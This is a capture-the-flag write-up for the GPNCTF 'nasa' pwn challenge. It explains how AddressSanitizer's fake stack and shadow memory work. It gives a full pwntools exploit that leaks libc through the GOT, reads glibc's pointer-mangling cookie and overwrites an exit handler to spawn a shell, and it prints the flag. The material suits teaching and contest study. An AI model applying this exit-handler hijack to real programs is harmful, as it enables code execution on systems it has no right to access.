Why even bother writing secure code when you can just enable sanitizers?

Category: pwn

Solver: nh1729

Flag: GPNCTF{all_wRI7Es_aR3_pR07Ec7Ed_By_asaN_oNLy_iN_yOUR_DR34MS_9438}

Challenge Overview

The challenge came with a source C file, a compiled binary and a Dockerfile.

$ pwn checksec nasa 
[*] 'nasa'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled
    ASAN:       Enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

The code in nasa.c is simple enough, we can interact with the program and repeatedly read/write 8 bytes at arbitrary addresses.

There is also a win function that spawns a shell, and we get a stack address and the address of the win function at startup.

// gcc -Og -g3 -w -fsanitize=address nasa.c -o nasa
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

void win() {
    puts("YOU WIN!!!\n");
    system("/bin/sh");
    exit(0);
}

void provide_help(void *stack_ptr) {
    printf("%p\n", stack_ptr);
    printf("%p\n", &win);
}

int main(void) {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    long long option;
    provide_help(&option);
    while (1) {
        puts("[1] Write [2] Read [3] Exit");
        if (scanf("%llu", &option) != 1)
            break;
        if (option == 1) {
            puts("8-byte adress and 8-byte data to write please (hex)");
            uintptr_t addr;
            uint64_t val;
            scanf("%lx %lx", &addr, &val);
            *((uint64_t *)addr) = val;
        } else if (option == 2) {
            puts("8-byte adress to read please (hex)");
            uintptr_t addr;
            scanf("%lx", &addr);
            printf("%lx\n", *((uint64_t *)addr));
        } else if (option == 3) {
            puts(":wave:");
            break;
        } else {
            puts("Invalid option");
        }
    }
    return 0;
}

Writeup

Usually, this setup would be an easy intro pwn challenge but it is not marked a such. This is because of the inconspicuous -fsanitize=address in the gcc command.

man gcc:

-fsanitize=address
Enable AddressSanitizer, a fast memory error detector. Memory access instructions are instrumented to detect out-of-bounds and use-after-free bugs. The option enables -fsanitize-address-use-after-scope. See https://github.com/google/sanitizers/wiki/AddressSanitizer for more details.

In addition to the link in the manpage, we also found this post very helpful in explaining what AddressSanitizer does and how it works.

The core idea is that for every 8 bytes a program might address, there is one byte of meta-information in so-called shadow memory that indicates if the user program can read and write to it. The compiled binary then assigns these metadata to various structures it creates and checks before every “dynamic” memory access if the target address can be read or written. For example, it can place “forbidden” memory regions around each stack variable and each heap allocation to identify linear overflows.

Many more features are enabled apart from shadow memory. However, the blog also warns us that AddressSanitizer is not meant as a security hardening measure but instead as a tool to identify memory corruption bugs during development (and fuzzing).

I built the docker container provided with the challenge and connected to it using netcat. Then, to understand what is going on, I connected pwndbg using sudo gdb attach `pidof nasa` .

My first go-to approach with the setup, ignoring AddressSanitizer, would be to simply use the stack address to change the saved return address from main to win.

Within the process, I quickly discovered that the stack leak is not on the real stack, but also seems to be some sort of shadow stack.

pwndbg> vmmap 0x7f5e64f00020
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x7f5e64a00000     0x7f5e64b00000 rw-p   100000      0 [anon_7f5e64a00]
►   0x7f5e64cf7000     0x7f5e65800000 rw-p   b09000      0 [anon_7f5e64cf7] +0x209020
    0x7f5e65800000     0x7f5e66000000 ---p   800000      0 [anon_7f5e65800]

There was no obvious return addresses on this “fake” stack.

To find out more, I turned to Ghidra and loaded nasa.

  puVar4 = local_f8;
  if (__asan_option_detect_stack_use_after_return != 0) {
    // ### fake stack allocated here
    puVar3 = (undefined8 *)__asan_stack_malloc_2(0xa0);
    puVar4 = local_f8;
    if (puVar3 != (undefined8 *)0x0) {
      puVar4 = puVar3;
    }
  }
  // ### put values onto the fake stack
  *puVar4 = 0x41b58ab3;
  puVar4[1] = "4 32 8 9 option:21 64 8 7 addr:29 96 8 6 val:30 128 8 7 addr:35";
  puVar4[2] = main;
  // ### fill shadow (permission) memory for fake stack
  uVar5 = (ulong)puVar4 >> 3;
  *(undefined4 *)(uVar5 + 0x7fff8000) = 0xf1f1f1f1;
  *(undefined4 *)(uVar5 + 0x7fff8004) = 0xf2f2f200;
  *(undefined4 *)(uVar5 + 0x7fff8008) = 0xf2f2f200;
  *(undefined4 *)(uVar5 + 0x7fff800c) = 0xf2f2f200;
  *(undefined4 *)(uVar5 + 0x7fff8010) = 0xf3f3f300;
  local_40 = *(long *)(in_FS_OFFSET + 0x28);
  if (DAT_80018864 == '\0') {
    setvbuf(stdin,(char *)0x0,2,0);
    if (DAT_80018869 == '\0') {
      setvbuf(stdout,(char *)0x0,2,0);
      if (DAT_80018868 == '\0') {
        setvbuf(stderr,(char *)0x0,2,0);
        // ### Leak address of the fake stack.
        provide_help(puVar4 + 4);
   ...

Apparently, the stack frame for main lives in a totally different area from the return address because ASan allocates it fresh. In the sample, we also see where the shadow memory that determines if an address can be read and written lives: It is at (addr>>3)+0x7fff8000.

The same is true for the read/write primitives:

if (*(char *)(((ulong)read_addr >> 3) + 0x7fff8000) == '\0') {...

I noticed that if these checks are baked into the binary, then libraries like libc do not make use of them. Thus, their own memory might not be allocated correctly.

Therefore, I pivoted to exit handlers. More information can be found in this blog.

First, I had to identify the address of the __exit_funcs.

docker cp nasa:/usr/lib/x86_64-linux-gnu/libc.so.6 libc.so.6
pwninit --libc libc.so.6 --bin nasa

# In gdb
gdb ./nasa_pacthed
pwndbg> b *main
pwndbg> c
pwndbg> tele __exit_funcs
00:0000│  0x7ffff78defc0 (initial) ◂— 0
01:0008│  0x7ffff78defc8 (initial+8) ◂— 5
02:0010│  0x7ffff78defd0 (initial+16) ◂— 4
03:0018│  0x7ffff78defd8 (initial+24) ◂— 0x854536fb5c9c665e

pwndbg> vmmap 0x7ffff78defc0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x7ffff78d9000     0x7ffff78dd000 r--p     4000 1fe000 libc.so.6
►   0x7ffff78dd000     0x7ffff78df000 rw-p     2000 202000 libc.so.6 +0x1fc0
    0x7ffff78df000     0x7ffff78ec000 rw-p     d000      0 [anon_7ffff78df]
pwndbg> p/x 0x7f5e671a2fd8-0x7f5e66f9e000 # exit_funcs[0].fn - <libc address>
$1 = 0x204fd8

I saw that the exit functions are at the border between the last libc segment and the anon segment adjacent to it. For the next steps, I would need to change one of the function pointers to the win function. However, these pointers are mangled and I need to know an XOR key to write a valid one.

To find this key, I set a read watchpoint on one of the mangled addresses back in the container and exited the program.

pwndbg> tele 0x7f5e671a3000
00:0000│  0x7f5e671a3000 ◂— 0
01:0008│  0x7f5e671a3008 ◂— 0
02:0010│  0x7f5e671a3010 ◂— 4
03:0018│  0x7f5e671a3018 ◂— 0x6e9d47b71dece80c
04:0020│  0x7f5e671a3020 ◂— 0
05:0028│  0x7f5e671a3028 —▸ 0x7f5e6734a520 (__dso_handle) ◂— 0x7f5e6734a520 (__dso_handle)
06:0030│  0x7f5e671a3030 ◂— 4
07:0038│  0x7f5e671a3038 ◂— 0x6e9d47abf14ce80c
pwndbg>  rwatch *0x7f5e671a3018
pwndbg> c
Continuing.
# Exit in nc
Hardware read watchpoint 1: *0x7f5e671a3018

Value = 502065164
0x00007f5e66fe5361 in __cxa_finalize () from target:/lib/x86_64-linux-gnu/libc.so.6
# pwndbg REGISTERS
*RAX  0x6e9d47b71dece80c
# pwndbg DISASM
 ► 0x7f5e66fe5361 <__cxa_finalize+161>    ror    rax, 0x11
   0x7f5e66fe5365 <__cxa_finalize+165>    xor    rax, qword ptr fs:[0x30]     RAX => 0x7f5e672e9fe0 (__lsan::DoLeakCheck()) (0x7406374ea3db8ef6 ^ 0x74064810c4f51116)
# Searching for the xor key 0x3e20b8a9443a8191
pwndbg> search -8 0x74064810c4f51116 libc
Searching for an 8-byte integer: b'\x16\x11\xf5\xc4\x10H\x06t'
pwndbg> search -8 0x74064810c4f51116 anon_7f
Searching for an 8-byte integer: b'\x16\x11\xf5\xc4\x10H\x06t'
[anon_7f5e66917] 0x7f5e66e86130 0x74064810c4f51116
pwndbg> vmmap 0x7f5e66e86130
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
    0x7f5e66800000     0x7f5e66900000 rw-p   100000      0 [anon_7f5e66800]
►   0x7f5e66917000     0x7f5e66e87000 rw-p   570000      0 [anon_7f5e66917] +0x56f130
    0x7f5e66e87000     0x7f5e66e8b000 r--p     4000      0 /usr/lib/x86_64-linux-gnu/libgcc_s.so.1

We see that the xor key is in a section just before some libraries. Since all of these are adjacent, I hoped the offsets would not change, so the difference between the start of libc and the address of the xor key is constant.

pwndbg> p/x 0x7f5e66f9e000-0x7f5e66e86130
$1 = 0x117ed0

To find the libc address, I wanted to leak from the GOT relative to the leaked win pointer.

pwndbg> i addr puts@got.plt
Symbol "puts@got.plt" is at 0x5567ac5dafc8 in a file compiled without debugging.
pwndbg> tele 0x5567ac5dafc8
00:0000│  0x5567ac5dafc8 (puts@got[plt]) —▸ 0x7f5e67203a12 (puts) ◂— jmp __interceptor_puts@plt
01:0008│  0x5567ac5dafd0 (__asan_version_mismatch_check_v8@got.plt) —▸ 0x7f5e672baf50 (__asan_version_mismatch_check_v8) ◂— endbr64 
02:0010│  0x5567ac5dafd8 ◂— 0
... ↓     2 skipped
05:0028│  0x5567ac5daff0 —▸ 0x7f5e66fe52c0 (__cxa_finalize) ◂— endbr64 
06:0030│  0x5567ac5daff8 —▸ 0x7f5e66fc8200 (__libc_start_main) ◂— endbr64 
07:0038│  0x5567ac5db000 (data_start) ◂— 0

pwndbg> p/x 0x5567ac5daff8-0x5567ac5d8309 # __libc_start_main@got.plt - win
$2 = 0x2cef

Apparently, ASan also changes some libc functions to “safe” versions. For the libc leak, I chose __libc_start_main which is not altered.

With these offsets in hand, I wrote a simple pwntools script:

from pwn import *

BINARY_NAME = './nasa'

def solve(r: remote, exe: ELF):
    stack_ptr = int(r.recvline().decode(), 16)
    win_ptr = int(r.recvline().decode(), 16)

    def write8(addr: int, val: int):
        r.sendlineafter(b'[1] Write [2] Read [3] Exit', b'1')
        r.sendlineafter(b"8-byte adress and 8-byte data to write please (hex)", f'0x{addr:x} 0x{val:x}'.encode())

    def read8(addr: int):
        r.sendlineafter(b'[1] Write [2] Read [3] Exit', b'2')
        r.sendlineafter(b"8-byte adress to read please (hex)\n", f'0x{addr:x}'.encode())
        return int(r.recvline().decode(), 16)

    def remote_exit():
        r.sendlineafter(b'[1] Write [2] Read [3] Exit', b'3')

    # read from got to leak libc
    lsm_addr_addr = win_ptr + 0x2cef
    lsm_addr = read8(lsm_addr_addr)
    libc = ELF('./libc.so.6')
    libc.address = lsm_addr - libc.sym.__libc_start_main
    success(f'{libc.address=:x}')

    # Read pointer protection cookie
    cookie = read8(libc.address-0x117ed0)
    success(f'{cookie=:x}')
    def ptr_mangle(ptr): return rol(ptr ^ cookie, 0x11)

    # Write mangled exit function pointer
    write8(libc.address+0x204fd8, ptr_mangle(win_ptr))
    remote_exit()

    r.sendline(b'cat /flag')
    r.interactive()


def conn():
    if args.REMOTE:
        r = remote("stormburg-of-ridiculous-hope.gpn23.ctf.kitctf.de", "443", ssl=True)
        # r = remote("localhost", 1338, ssl=False)
    elif args.GDB:
        gdbscript = '''
        c
        '''
        r = gdb.debug(context.binary.path, gdbscript=gdbscript)
    else:
        r = process(context.binary.path,)
    return r


def main():
    exe = ELF(BINARY_NAME)
    context.binary = exe

    r = conn()
    solve(r, exe)
    r.close()


if __name__ == '__main__':
    main()

Output

:wave:
YOU WIN!!!

GPNCTF{all_wRI7Es_aR3_pR07Ec7Ed_By_asaN_oNLy_iN_yOUR_DR34MS_9438}

Mitigations

  • The challenge clearly illustrates that AddressSanitizer is not enough to prevent an attacker from abusing a program with sufficient memory bugs. It is still crucial to write safe code.
  • Instead, people can migrate to memory-safe languages like Rust, Golang or higher level languages.